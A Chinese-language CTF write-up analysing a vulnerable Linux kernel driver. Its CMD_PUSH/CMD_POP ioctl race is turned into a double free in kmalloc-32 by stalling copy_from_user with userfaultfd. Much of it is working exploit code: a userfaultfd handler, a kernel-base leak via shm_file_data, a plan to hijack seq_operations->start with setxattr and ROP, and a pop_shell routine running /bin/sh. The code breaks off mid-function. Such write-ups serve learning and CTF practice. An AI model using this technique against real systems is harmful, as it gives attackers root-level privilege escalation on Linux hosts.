启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-no-reboot \
-s \
-monitor /dev/null \
-nographic
题目
typedef struct _Element {
int owner;
unsigned long value;
struct _Element *fd;
} Element;
Element
大小为24,kmalloc(sizeof(Element))
分配进kmalloc-32的slab中
static long proc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
Element *tmp, *prev;
int pid = task_tgid_nr(current);
switch(cmd) {
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
head = tmp->fd;
kfree(tmp);
return -EINVAL;
}
break;
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
break;
}
return 0;
}
- CMD_PUSH,分配一个
Element
,kmalloc-32 slab;并将用户层的值拷贝到Element->value
,并将该slab链入单向链表中copy_from_user
失败后- 会释放
Element
,kfree(tmp); tmp
是局部变量,未置NULL
- 会释放
- CMD_POP,将单向链表中,所有
Element->owner
与调用进程pid相同的,全部释放掉,并将Element->value
拷贝到用户空间- 如果
Element->value
的值是有用的,但Element->value
拷贝到用户空间,这个用户空间地址是不变的,如果拷贝多份,会被覆盖,所以考虑只拷贝一份出来,也就是链表中,只放入一个Element
- 释放
Element
,kfree(tmp); tmp未置NULL
- 如果
因为是题目,总会有解的,分析漏洞在哪里
1)CMD_PUSH正常,CMD_POP有问题吗?
CMD_POP,copy_to_user失败
proc_ioctl
调用就直接退出了,没任意影响
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL; <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
CMD_POP,copy_to_user正常
单向链表指针正常调整
kfree(tmp);,tmp未置NULL,有利用方式吗?
- CMD_PUSH中,tmp会被重新初始化
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
,没啥问题 - CMD_POP中,for中的下一轮被重新赋值,没啥问题
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp); <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
2)CMD_PUSH copy_from_user正常失败
- CMD_PUSH
- head = tmp->fd; head指向head自身
- kfree(tmp); 无用,在CMD_POP中重新赋值
- CMD_POP
- 第一轮for循环,tmp指向head,head->owner无数据,准备
prev = tmp, tmp = tmp->fd
head->fd
无内容,for循环结束
- 第一轮for循环,tmp指向head,head->owner无数据,准备
- 这看起来也没啥问题
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
// 失败
head = tmp->fd; // 修正指针
kfree(tmp); // 释放掉
return -EINVAL;
}
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
3)CMD_PUSH copy_from_user正常失败,并暂停住
- CMD_PUSH,copy_from_user失败并暂停住
- CMD_POP
- 可正常copy_to_user
- 可kfree
- CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
// 失败,并暂停住
head = tmp->fd;
kfree(tmp);
return -EINVAL;
}
case CMD_POP:
for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
if (tmp->owner == pid) {
if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev) {
prev->fd = tmp->fd;
} else {
head = tmp->fd;
}
kfree(tmp);
break;
}
if (tmp->fd == NULL) return -EINVAL;
}
看起来这种运行方式,通过userfaultfd
或者fuse
达成
详细分析CMD_PUSH copy_from_user正常失败,并暂停住
1)不能白白浪费CMD_POP
中的可正常copy_to_user
- CMD_PUSH,copy_from_user失败并暂停住
- CMD_POP
- 可正常copy_to_user <<<<<<<<<<<<<<<<<<
- 可kfree
- CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free
在上面整体运行的时候,可以先分配带有内核函数指针的kmalloc-32
1)分配带内核指针的kmalloc-32,slab-A
2)释放slab-A
3)CMD_PUSH,copy_from_user失败并暂停住(占据slab-A,且内容没有被污染)
4)CMD_POP
4-1)可正常copy_to_user (获取内核指针,获取内核基地址)
4-2)可kfree
5)CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free
2)double-free的利用
分配:一个带有函数指针的内核结构体 slab-B
分配:分配时修改slab-B
中的函数指针
触发:slab-B
的函数指针
利用
exp1
- 分配并释放
shm_file_data
- mmap地址addr,该地址被注册进userfaultfd
- push-
addr
- 在 CMD_PUSH,copy_from_user处暂停
- pop,获取
shm_file_data->ipc_namespace
,计算内核基地址 - 产生double-free的第一个free
- 修改addr的属性,
PROT_NONE
,copy_from_user失败,产生double-free的第二个free
- double-free第一次分配:
open("proc/self/stat")
,分配seq_operations
- double-free第二次分配:setxattr,同时修改
seq_operations
中的start
为一个rop栈迁移 - 在栈迁移处布置rop
- 触发
seq_operations->start
提权
#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>
#define ulong unsigned long
#define errExit(msg) \
do \
{
\
perror("[ERROR EXIT]\n"); \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define WAIT(msg) \
puts(msg); \
fgetc(stdin);
#define PAGE 0x1000
ulong user_cs, user_ss, user_sp, user_rflags;
int fd; // file descriptor of /dev/note
char *addr = 0x117117000; // memory region supervisored
char *shmaddr = 0x200200000; // memory region shmat
const char *buf[0x1000]; // userland buffer
const ulong len = PAGE * 0x10; // memory length
ulong leak, kernbase;
void pop_shell(void)
{
char *argv1[] = {
"/bin/cat", "/flag", NULL};
char *envp1[] = {
NULL};
execve("/bin/cat", argv1, envp1);
char *argv2[] = {
"/bin/sh", NULL};
char *envp2[] = {
NULL};
execve("/bin/sh", argv2, envp2);
}
static void save_state(void)
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}
#define POP 0x57ac0002
#define PUSH 0x57ac0001
struct Element
{
int owner;
ulong value;
struct Element *fd;
};
int _push(ulong *data)
{
if (ioctl(fd, PUSH, data) < 0)
if (errno == EINVAL)
{
printf("[-] copy_from_user failed.\n");
errno = 0;
}
else
errExit("_push");
// printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
return 0;
}
int _pop(ulong *givenbuf)
{
if (ioctl(fd, POP, givenbuf) < 0)
errExit("_pop");
printf("[+] poped %llx\n", *givenbuf);
return 0;
}
static void call_shmat(void)
{
int shmid;
void *addr;
pid_t pid;
if ((pid = fork()) == 0)
{
if ((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600)) == -1)
errExit("shmget fail");
if ((addr = shmat(shmid, NULL, SHM_RDONLY)) == -1)
errExit("shmat fail");
if (shmctl(shmid, IPC_RMID, NULL) == -1)
errExit("shmctl");
printf("[ ] Success call_shmat: %p\n", addr);
printf("[ ] Child is exiting...\n");
exit(0);
}
wait(pid);
printf("[ ] Parent is returning...\n");
}
// cf. man page of userfaultfd
static void *fault_handler_thread(void *arg)
{
puts("[+] entered fault_handler_thread");
static struct uffd_msg msg; // data read from userfaultfd
struct uffdio_range uffdio_range;
long uffd = (long)arg; // userfaultfd file descriptor
struct pollfd pollfd; //
int nready; // number of polled events
ulong hogebuf;
// set poll information
pollfd.fd = uffd;
pollfd.events = POLLIN;
// wait for poll
puts("[+] polling...");
while (poll(&pollfd, 1, -1) > 0)
{
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
errExit("poll");
// read an event
if (read(uffd, &msg, sizeof(msg)) == 0)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("unexpected pagefault");
printf("[!] page fault: %p\n", msg.arg.pagefault.address);
//********* Now, another thread is halting. Do my business. **//
// leak kernbase
puts("[+] pop before push!");
_pop(&hogebuf); // leak shm_file_data->ipc_namespace
leak = hogebuf;
kernbase = leak - 0xc38600;
printf("[!] leaked: %llx\n", leak);
printf("[!] kernbase(text): %llx\n", kernbase);
// change page permission and make fail copy_from_user
mprotect(msg.arg.pagefault.address & ~(PAGE - 1), PAGE, PROT_NONE);
printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE - 1));
uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
uffdio_range.len = PAGE;
if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
errExit("ioctl-UFFDIO_UNREGISTER");
printf("[+] unregistered supervisored region.\n");
break;
}
puts("[+] exiting fault_handler_thrd");
}
// cf. man page of userfaultfd
void register_userfaultfd_and_halt(void)
{
puts("[+] registering userfaultfd...");
long uffd; // userfaultfd file descriptor
pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// create userfaultfd file descriptor
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
if (uffd == -1)
errExit("userfaultfd");
// enable uffd object via ioctl(UFFDIO_API)
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
// mmap
puts("[+] mmapping...");
addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
puts("[+] mmapped...");
if (addr == MAP_FAILED)
errExit("mmap");
// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
uffdio_register.range.start = addr;
uffdio_register.range.len = PAGE * 0x10;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
if (s != 0)
{
errno = s;